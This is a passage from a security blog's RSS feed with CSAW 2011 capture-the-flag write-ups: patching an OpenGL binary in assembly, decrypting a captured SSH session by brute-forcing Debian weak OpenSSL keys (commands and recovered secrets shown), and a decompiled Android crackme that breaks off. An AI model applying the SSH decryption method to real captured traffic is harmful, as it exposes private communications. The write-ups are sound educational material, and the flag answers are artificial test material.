		<category><![CDATA[RCE]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=43</guid>
		<description><![CDATA[In this challenge, you get a Windows binary, when you start it it only display a white windows The first surprise is that there is absolutely no packing or obfuscation of the binary, it decompiles cleanly in IDA. What we see is that it's a classic OpenGL application with OpenGL init and a frame loop. [...]]]></description>
			<content:encoded><![CDATA[<p>In this challenge, you get a Windows binary, when you start it it only display a white windows</p>
<p><span id="more-43"></span>The first surprise is that there is absolutely no packing or obfuscation of the binary, it decompiles cleanly in IDA.</p>
<p>What we see is that it's a classic OpenGL application with OpenGL init and a frame loop. I used to be a demoscene coder that wrote his own 3D engine so this looked very familiar.</p>
<p>We will first use glIntercept to get a log file with all the OpenGL calls and their parameters: <a href="http://glintercept.nutty.org/">http://glintercept.nutty.org/</a></p>
<p>glIntercept comes with a replacement DLL that will be loaded by the binary when initializing OpenGL.</p>
<p>In the log file produced we can see a few interestings things:</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">glClearColor<span style="color: #009900;">&#40;</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.500000</span><span style="color: #009900;">&#41;</span></div></div>
<p>The background color is black.</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">glColor4f<span style="color: #009900;">&#40;</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #009900;">&#41;</span></div></div>
<p>But our draw color is black also, black on black = ... black</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">glColor3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">1.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">1.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">1.000000</span><span style="color: #009900;">&#41;</span><br />
glBegin<span style="color: #009900;">&#40;</span>GL_QUADS<span style="color: #009900;">&#41;</span><br />
glVertex3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">15.000000</span><span style="color: #339933;">,-</span><span style="color:#800080;">0.400000</span><span style="color: #009900;">&#41;</span><br />
glVertex3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">15.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">15.000000</span><span style="color: #339933;">,-</span><span style="color:#800080;">0.400000</span><span style="color: #009900;">&#41;</span><br />
glVertex3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">15.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,-</span><span style="color:#800080;">0.400000</span><span style="color: #009900;">&#41;</span><br />
glVertex3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,-</span><span style="color:#800080;">0.400000</span><span style="color: #009900;">&#41;</span><br />
glVertex3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">15.000000</span><span style="color: #339933;">,-</span><span style="color:#800080;">0.600000</span><span style="color: #009900;">&#41;</span><br />
glVertex3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">15.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">15.000000</span><span style="color: #339933;">,-</span><span style="color:#800080;">0.600000</span><span style="color: #009900;">&#41;</span><br />
glVertex3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">15.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,-</span><span style="color:#800080;">0.600000</span><span style="color: #009900;">&#41;</span><br />
glVertex3f<span style="color: #009900;">&#40;</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,</span><span style="color:#800080;">0.000000</span><span style="color: #339933;">,-</span><span style="color:#800080;">0.600000</span><span style="color: #009900;">&#41;</span><br />
glEnd<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></div></div>
<p>At the end of the frame drawing, we draw a huge rectangle all over the screen in white.</p>
<p>So we know that we have to do, for a start, 2 things:</p>
<ul>
<li>Change the default draw color to white so we can see something</li>
<li>Remove the huge rectangle from the view so we can see something also</li>
</ul>
<p>Change the default color to white:</p>
<div class="codecolorer-container asm default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="asm codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Address   Hex dump          Command                                  Comments<br />
<span style="color: #adadad; font-style: italic;">0040206B</span>  |<span style="color: #339933;">.</span>  B8 <span style="color: #0000ff;">0000803F</span>   <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #00007f;">EAX</span><span style="color: #339933;">,</span>3F800000<br />
<span style="color: #adadad; font-style: italic;">00402070</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">894424</span> 0C     <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">LOCAL</span><span style="color: #0000ff;">.3</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">EAX</span>           <span style="color: #666666; font-style: italic;">; /Arg4 =&amp;gt; 3F800000</span><br />
<span style="color: #adadad; font-style: italic;">00402074</span>  |<span style="color: #339933;">.</span>  B8 <span style="color: #0000ff;">0000803F</span>   <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #00007f;">EAX</span><span style="color: #339933;">,</span>3F800000                         <span style="color: #666666; font-style: italic;">; |</span><br />
<span style="color: #adadad; font-style: italic;">00402079</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">894424</span> <span style="color: #0000ff;">08</span>     <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">LOCAL</span><span style="color: #0000ff;">.4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">EAX</span>           <span style="color: #666666; font-style: italic;">; |Arg3 =&amp;gt; 3F800000</span><br />
<span style="color: #adadad; font-style: italic;">0040207D</span>  |<span style="color: #339933;">.</span>  B8 <span style="color: #0000ff;">0000803F</span>   <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #00007f;">EAX</span><span style="color: #339933;">,</span>3F800000                         <span style="color: #666666; font-style: italic;">; |</span><br />
<span style="color: #adadad; font-style: italic;">00402082</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">894424</span> <span style="color: #0000ff;">04</span>     <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">LOCAL</span><span style="color: #0000ff;">.5</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">EAX</span>           <span style="color: #666666; font-style: italic;">; |Arg2 =&amp;gt; 3F800000</span><br />
<span style="color: #adadad; font-style: italic;">00402086</span>  |<span style="color: #339933;">.</span>  B8 <span style="color: #0000ff;">0000803F</span>   <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #00007f;">EAX</span><span style="color: #339933;">,</span>3F800000                         <span style="color: #666666; font-style: italic;">; |</span><br />
<span style="color: #adadad; font-style: italic;">0040208B</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">890424</span>        <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">LOCAL</span><span style="color: #0000ff;">.6</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">EAX</span>           <span style="color: #666666; font-style: italic;">; |Arg1 =&amp;gt; 3F800000</span><br />
<span style="color: #adadad; font-style: italic;">0040208E</span>  |<span style="color: #339933;">.</span>  E8 2D120000   <span style="color: #00007f; font-weight: bold;">CALL</span> &amp;lt<span style="color: #666666; font-style: italic;">;JMP.&amp;amp;OPENGL32.glColor4f&amp;gt;           ; \OPENGL32.glColor4f</span></div></div>
<p>Jump over the huge rectangle:</p>
<div class="codecolorer-container asm default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="asm codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Address   Hex dump          Command                                  Comments<br />
<span style="color: #adadad; font-style: italic;">0040211D</span>  \<span style="color: #339933;">.</span> <span style="color: #339933;">/</span>E9 <span style="color: #0000ff;">41010000</span>   <span style="color: #00007f; font-weight: bold;">JMP</span> <span style="color: #0000ff;">00402263</span></div></div>
<p>At this point we see now a black background, "KEY" written in white lines and many letters written in vectors randomly moving on the screen. We are on the right way.</p>
<p>Now we need to remove the randomness in the key letters placement and put them next to each others so we can read the flag.</p>
<p>Since the positionning sub is the same for all the letter, I choose to use the space previously allocated to the rand() calculation to write my new opcodes.</p>
<p>Also to avoid having to patch all the other sub functions drawing letter that do a glPopMatrix, we will just put a glPushMatrix at the end of the positioning function, this way the result is neutral.</p>
<p>New opcodes added to positioning sub:</p>
<div class="codecolorer-container asm default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="asm codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Address   Hex dump          Command                                  Comments<br />
<span style="color: #adadad; font-style: italic;">00401F96</span>  |<span style="color: #339933;">.</span>  B8 <span style="color: #0000ff;">00000000</span>   <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #00007f;">EAX</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0</span><br />
<span style="color: #adadad; font-style: italic;">00401F9B</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">894424</span> <span style="color: #0000ff;">08</span>     <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">LOCAL</span><span style="color: #0000ff;">.8</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">EAX</span>           <span style="color: #666666; font-style: italic;">; /Arg3 =&amp;gt; 0, don't touch Z</span><br />
<span style="color: #adadad; font-style: italic;">00401F9F</span>  |<span style="color: #339933;">.</span>  B8 <span style="color: #0000ff;">0000403F</span>   <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #00007f;">EAX</span><span style="color: #339933;">,</span>3F400000                         <span style="color: #666666; font-style: italic;">; |</span><br />
<span style="color: #adadad; font-style: italic;">00401FA4</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">894424</span> <span style="color: #0000ff;">04</span>     <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">LOCAL</span><span style="color: #0000ff;">.9</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">EAX</span>           <span style="color: #666666; font-style: italic;">; |Arg2 =&amp;gt; 3F400000, move a bit to the right</span><br />
<span style="color: #adadad; font-style: italic;">00401FA8</span>  |<span style="color: #339933;">.</span>  B8 <span style="color: #0000ff;">0000403F</span>   <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #00007f;">EAX</span><span style="color: #339933;">,</span>3F400000                         <span style="color: #666666; font-style: italic;">; |</span><br />
<span style="color: #adadad; font-style: italic;">00401FAD</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">890424</span>        <span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">LOCAL</span><span style="color: #0000ff;">.10</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">EAX</span>          <span style="color: #666666; font-style: italic;">; |Arg1 =&amp;gt; 3F400000, move a bit to the bottom</span><br />
<span style="color: #adadad; font-style: italic;">00401FB0</span>  |<span style="color: #339933;">.</span>  E8 A3120000   <span style="color: #00007f; font-weight: bold;">CALL</span> &amp;lt<span style="color: #666666; font-style: italic;">;JMP.&amp;amp;OPENGL32.glTranslatef&amp;gt;        ; \OPENGL32.glTranslatef</span><br />
<span style="color: #adadad; font-style: italic;">00401FB5</span>  |<span style="color: #339933;">.</span>  83EC 0C       <span style="color: #00007f; font-weight: bold;">SUB</span> <span style="color: #00007f;">ESP</span><span style="color: #339933;">,</span>0C<br />
<span style="color: #adadad; font-style: italic;">00401FB8</span>  |<span style="color: #339933;">.</span>  E8 <span style="color: #0000ff;">93120000</span>   <span style="color: #00007f; font-weight: bold;">CALL</span> &amp;lt<span style="color: #666666; font-style: italic;">;JMP.&amp;amp;OPENGL32.glPushMatrix&amp;gt;        ; Jump to OPENGL32.glPushMatrix, because the drawing sub do a glPopMatrix</span><br />
<span style="color: #adadad; font-style: italic;">00401FBD</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">90</span>            <span style="color: #00007f; font-weight: bold;">NOP</span><br />
<span style="color: #adadad; font-style: italic;">00401FBE</span>  |<span style="color: #339933;">.</span>  <span style="color: #0000ff;">90</span>            <span style="color: #00007f; font-weight: bold;">NOP</span><br />
<span style="color: #adadad; font-style: italic;">00401FBF</span>  |<span style="color: #339933;">.</span>  C9            <span style="color: #00007f; font-weight: bold;">LEAVE</span><br />
<span style="color: #adadad; font-style: italic;">00401FC0</span>  \<span style="color: #339933;">.</span>  C3            <span style="color: #00007f; font-weight: bold;">RETN</span></div></div>
<p>And we are done. The resulting application will looks like this:</p>
<p><a href="http://codezen.fr/wp-content/uploads/2011/09/opengl.png"><img class="alignnone size-medium wp-image-44" title="opengl" src="http://codezen.fr/wp-content/uploads/2011/09/opengl-287x300.png" alt="" width="287" height="300" /></a></p>
<p>Key is "sc4#3sr1u30*0"</p>
<p>This challenge was really fun to do and original.</p>
]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2011/09/26/csaw-2011-opengl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW 2011 PatchManagement Write-Up</title>
		<link>http://codezen.fr/2011/09/26/csaw-2011-patchmanagement-write-up/</link>
		<comments>http://codezen.fr/2011/09/26/csaw-2011-patchmanagement-write-up/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 18:23:49 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[CSAW]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=35</guid>
		<description><![CDATA[In this Networking challenge, we get a short tcpdump capture file with a SSH session. Given the capture is really short, we immediately focus on this SSH session. Decrypting SSH without prior knowledge of the private keys is not an easy feat' except in one particular case: if one of the client or server key [...]]]></description>
			<content:encoded><![CDATA[<p>In this Networking challenge, we get a short tcpdump capture file with a SSH session.</p>
<p><span id="more-35"></span>Given the capture is really short, we immediately focus on this SSH session. Decrypting SSH without prior knowledge of the private keys is not an easy feat' except in one particular case: if one of the client or server key was generated on a Debian machine during the OpenSSL fiasco.</p>
<p>In 2008, Debian shipped with a flawed openssl package that resulted in keys with very weak entropy, in other words, predictable keys: <a href="http://www.debian.org/security/2008/dsa-1571">http://www.debian.org/security/2008/dsa-1571</a></p>
<p>Let see if this is the case. First we split this capture file in session file that can be used by our bruteforcer tool. For this job, we use tcpick (available as Debian package)</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ tcpick <span style="color: #660033;">-wRC</span> <span style="color: #660033;">-wRS</span> <span style="color: #660033;">-r</span> capture.pcap<br />
Starting tcpick 0.2.1 at <span style="color: #000000;">2011</span>-09-<span style="color: #000000;">24</span> 03:<span style="color: #000000;">13</span> UTC<br />
Timeout <span style="color: #000000; font-weight: bold;">for</span> connections is <span style="color: #000000;">600</span><br />
tcpick: reading from capture.pcap<br />
<span style="color: #000000;">1</span>      SYN-SENT       192.168.0.119:<span style="color: #000000;">58214</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; 192.168.0.222:ssh<br />
<span style="color: #000000;">1</span>      SYN-RECEIVED   192.168.0.119:<span style="color: #000000;">58214</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; 192.168.0.222:ssh<br />
<span style="color: #000000;">1</span>      ESTABLISHED    192.168.0.119:<span style="color: #000000;">58214</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; 192.168.0.222:ssh<br />
<span style="color: #000000;">1</span>      FIN-WAIT-<span style="color: #000000;">1</span>     192.168.0.119:<span style="color: #000000;">58214</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; 192.168.0.222:ssh<br />
<span style="color: #000000;">1</span>      TIME-WAIT      192.168.0.119:<span style="color: #000000;">58214</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; 192.168.0.222:ssh<br />
<span style="color: #000000;">1</span>      CLOSED         192.168.0.119:<span style="color: #000000;">58214</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; 192.168.0.222:ssh<br />
tcpick: <span style="color: #000000; font-weight: bold;">done</span> reading from capture.pcap<br />
<br />
<span style="color: #000000;">74</span> packets captured<br />
<span style="color: #000000;">1</span> tcp sessions detected</div></div>
<p>Now we can use one of the SSH bruteforcer specially designed to handle those weak keys. I choose the client mode (-c) because in the capture file you can see that the client's OpenSSH version is much older than the server.</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ ruby ssh_decoder.rb <span style="color: #660033;">-c</span> <span style="color: #660033;">-n2</span> ..<span style="color: #000000; font-weight: bold;">/</span>tcpick_192.168.0.119_192.168.0.222_ssh.<span style="color: #000000; font-weight: bold;">*</span><br />
<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #c20cb9; font-weight: bold;">read</span> handshake<br />
cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha1, compr: none<br />
<span style="color: #000000; font-weight: bold;">*</span> bruteforce DH<br />
DH shared secret : 028b79a7ee617e11fe3cc5600b93b9423e75c494dcc5e12fed2d99864dd940838c09f77f62356d600c32a37c9e585b21fa0f9c11dc97f7bac6a9a8864fe55a210048c149ae9bf3c6399a8c162bb7cbf1cf7678b34ffe7c118ee34a1239fb4b9d960b6746e60a456a0284c0e2210b837c554c9ef857b6f25ea106422c881c08aa<br />
<span style="color: #000000; font-weight: bold;">*</span> derive keys<br />
<span style="color: #000000; font-weight: bold;">*</span> decipher streams<br />
<span style="color: #000000; font-weight: bold;">*</span> successful authentication packet<br />
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">key</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<br />
<span style="color: #7a0874; font-weight: bold;">&#123;</span>:<span style="color: #007800;">g</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<br />
<span style="color: #ff0000;">&quot;l\232\203\271\265$'\003g\000\317\335\003\222\304<span style="color: #000099; font-weight: bold;">\f</span>\357h<span style="color: #000099; font-weight: bold;">\f</span>^\016\311\261\023\001JR\352\363\262\3556\251\227<span style="color: #007800;">$FB</span>\307\344\370\277u\362\017d\003\222\227v\305\034\363\220Sz&amp;lt;<span style="color: #000099; font-weight: bold;">\&quot;</span>\232\003\235\025\210B\240%\3114\021Cu\017\340\317\306\221\306\241\217\025O\254\230\004\212\311\204\263\206\224\004\317\035{\271\262\027J\373\350\325P\201\226\364K{\242\2747<span style="color: #000099; font-weight: bold;">\&quot;</span>\274\243\257\002D\2743\231<span style="color: #780078;">`wc\b\312\276D\3614\022&quot;,<br />
:type=&amp;gt;&quot;ssh-dss&quot;,<br />
:p=&amp;gt;<br />
&quot;\000\207\364\bvQR\300$U\371\317`</span>`\322\021\037X\235P\032\261\244\277\352\327\277\247O\020\253\b\250z#3\004\223\022\021\256\237\203\253*mh;\311\323\031\302\005\025\204o6\270<span style="color: #000099; font-weight: bold;">\&quot;</span>*\256\244\027s\242Q\020j<span style="color: #000099; font-weight: bold;">\n</span>b\234<span style="color: #000099; font-weight: bold;">\&quot;</span>\252\372\2415x\273?U1\bj\237\270J\a6\350\246n\027\322<span style="color: #000099; font-weight: bold;">\&quot;</span>6\022\311\310\374F\346P&amp;lt;\261A\266*\320\333C\304\004X\300\217\241g\267\334}\005\026\345}\223aXD\255&quot;</span>,<br />
:<span style="color: #007800;">q</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #ff0000;">&quot;\000\260~\350\024\215\231t\206&amp;gt;\233\324\212_\206\322Q\0066(\225&quot;</span>,<br />
:<span style="color: #007800;">y</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<br />
<span style="color: #ff0000;">&quot;\016\371O\332\bw\276\300\367\373\350\3223XX\205\340W\267r\246<span style="color: #000099; font-weight: bold;">\f</span>\265\0349}1Q&amp;gt;\245r\021\262\244\004\3437<span style="color: #000099; font-weight: bold;">\&quot;</span>\377\247\257\344\304\344EP\250\021k'\261<span style="color: #007800;">$N</span>\346\230\321\273hTq?O\274\335\260)\266[&amp;lt;L \231\b%\367\262\353\307\002\b\026\20148\004\352\036\a]\025\204\300\210W{\035YML&amp;gt;\311\274\024I\307N:\375\264\340\000\346\331\023\301N\002\327\263\026\217p\233\300\230@\351\333&quot;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>,<br />
:<span style="color: #007800;">testic</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000;">1</span>,<br />
:<span style="color: #007800;">username</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #ff0000;">&quot;mosdef&quot;</span>,<br />
:<span style="color: #007800;">keytype</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #ff0000;">&quot;ssh-dss&quot;</span>,<br />
:<span style="color: #007800;">nextservice</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #ff0000;">&quot;ssh-connection&quot;</span>,<br />
:<span style="color: #007800;">auth_method</span>=<span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #ff0000;">&quot;publickey&quot;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">*</span> deciphered streams saved to <span style="color: #ff0000;">&quot;sshdecrypt.0.client.dat&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #ff0000;">&quot;sshdecrypt.0.server.dat&quot;</span></div></div>
<p>We have deciphered the SSH exchange and we can know see what the user typed into this SSH terminal:</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">strings</span> sshdecrypt.0.server.dat <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> key<br />
<br />
publickey,password<br />
key<span style="color: #7a0874; font-weight: bold;">&#123;</span>you_broke_ssh_im_calling_teh_cops<span style="color: #7a0874; font-weight: bold;">&#125;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2011/09/26/csaw-2011-patchmanagement-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW 2011 Android2 Write-up</title>
		<link>http://codezen.fr/2011/09/26/csaw-2011-android2-write-up/</link>
		<comments>http://codezen.fr/2011/09/26/csaw-2011-android2-write-up/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 14:36:59 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[CSAW]]></category>
		<category><![CDATA[RCE]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=25</guid>
		<description><![CDATA[In this challenge we get an Android .apk with a crackme application I used Ded+Sooth to decompile the apk. We can see the application was made with the app generator tool AppInventor so we search for a Screen1.class which we find in: appinventor/ai_stratos/CSAW2011CTF/ Ded cannot fully decompile this class file, we get an exception so [...]]]></description>
			<content:encoded><![CDATA[<p>In this challenge we get an Android .apk with a crackme application</p>
<p><span id="more-25"></span>I used Ded+Sooth to decompile the apk. We can see the application was made with the app generator tool AppInventor so we search for a Screen1.class which we find in: appinventor/ai_stratos/CSAW2011CTF/</p>
<p>Ded cannot fully decompile this class file, we get an exception so we will have to work with the intermediate Jasmin file.</p>
<p>It's a large file but after a bit of staring we locate this section:</p>
<div class="codecolorer-container java default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="java codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #cc66cc;">2426</span> .<span style="color: #006633;">method</span> <span style="color: #000000; font-weight: bold;">static</span> lambda8<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>Ljava<span style="color: #339933;">/</span>lang<span style="color: #339933;">/</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aobject+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Object</span></a><span style="color: #339933;">;</span><br />
<span style="color: #cc66cc;">2427</span>     .<span style="color: #006633;">limit</span> stack <span style="color: #cc66cc;">4</span><br />
<span style="color: #cc66cc;">2428</span>     .<span style="color: #006633;">limit</span> locals <span style="color: #cc66cc;">0</span><br />
<span style="color: #cc66cc;">2429</span>     getstatic appinventor<span style="color: #339933;">/</span>ai_stratos<span style="color: #339933;">/</span>CSAW2011CTF<span style="color: #339933;">/</span>Screen1<span style="color: #339933;">/</span>Lit26 Lgnu<span style="color: #339933;">/</span>mapping<span style="color: #339933;">/</span>SimpleSymbol<span style="color: #339933;">;</span><br />
<span style="color: #cc66cc;">2430</span>     getstatic appinventor<span style="color: #339933;">/</span>ai_stratos<span style="color: #339933;">/</span>CSAW2011CTF<span style="color: #339933;">/</span>Screen1<span style="color: #339933;">/</span>Lit23 Lgnu<span style="color: #339933;">/</span>mapping<span style="color: #339933;">/</span>SimpleSymbol<span style="color: #339933;">;</span><br />
<span style="color: #cc66cc;">2431</span>     ldc <span style="color: #0000ff;">&quot;bdd2e9488929399071a72991e196e6d0&quot;</span><br />
<span style="color: #cc66cc;">2432</span>     getstatic appinventor<span style="color: #339933;">/</span>ai_stratos<span style="color: #339933;">/</span>CSAW2011CTF<span style="color: #339933;">/</span>Screen1<span style="color: #339933;">/</span>Lit10 Lgnu<span style="color: #339933;">/</span>mapping<span style="color: #339933;">/</span>SimpleSymbol<span style="color: #339933;">;</span><br />
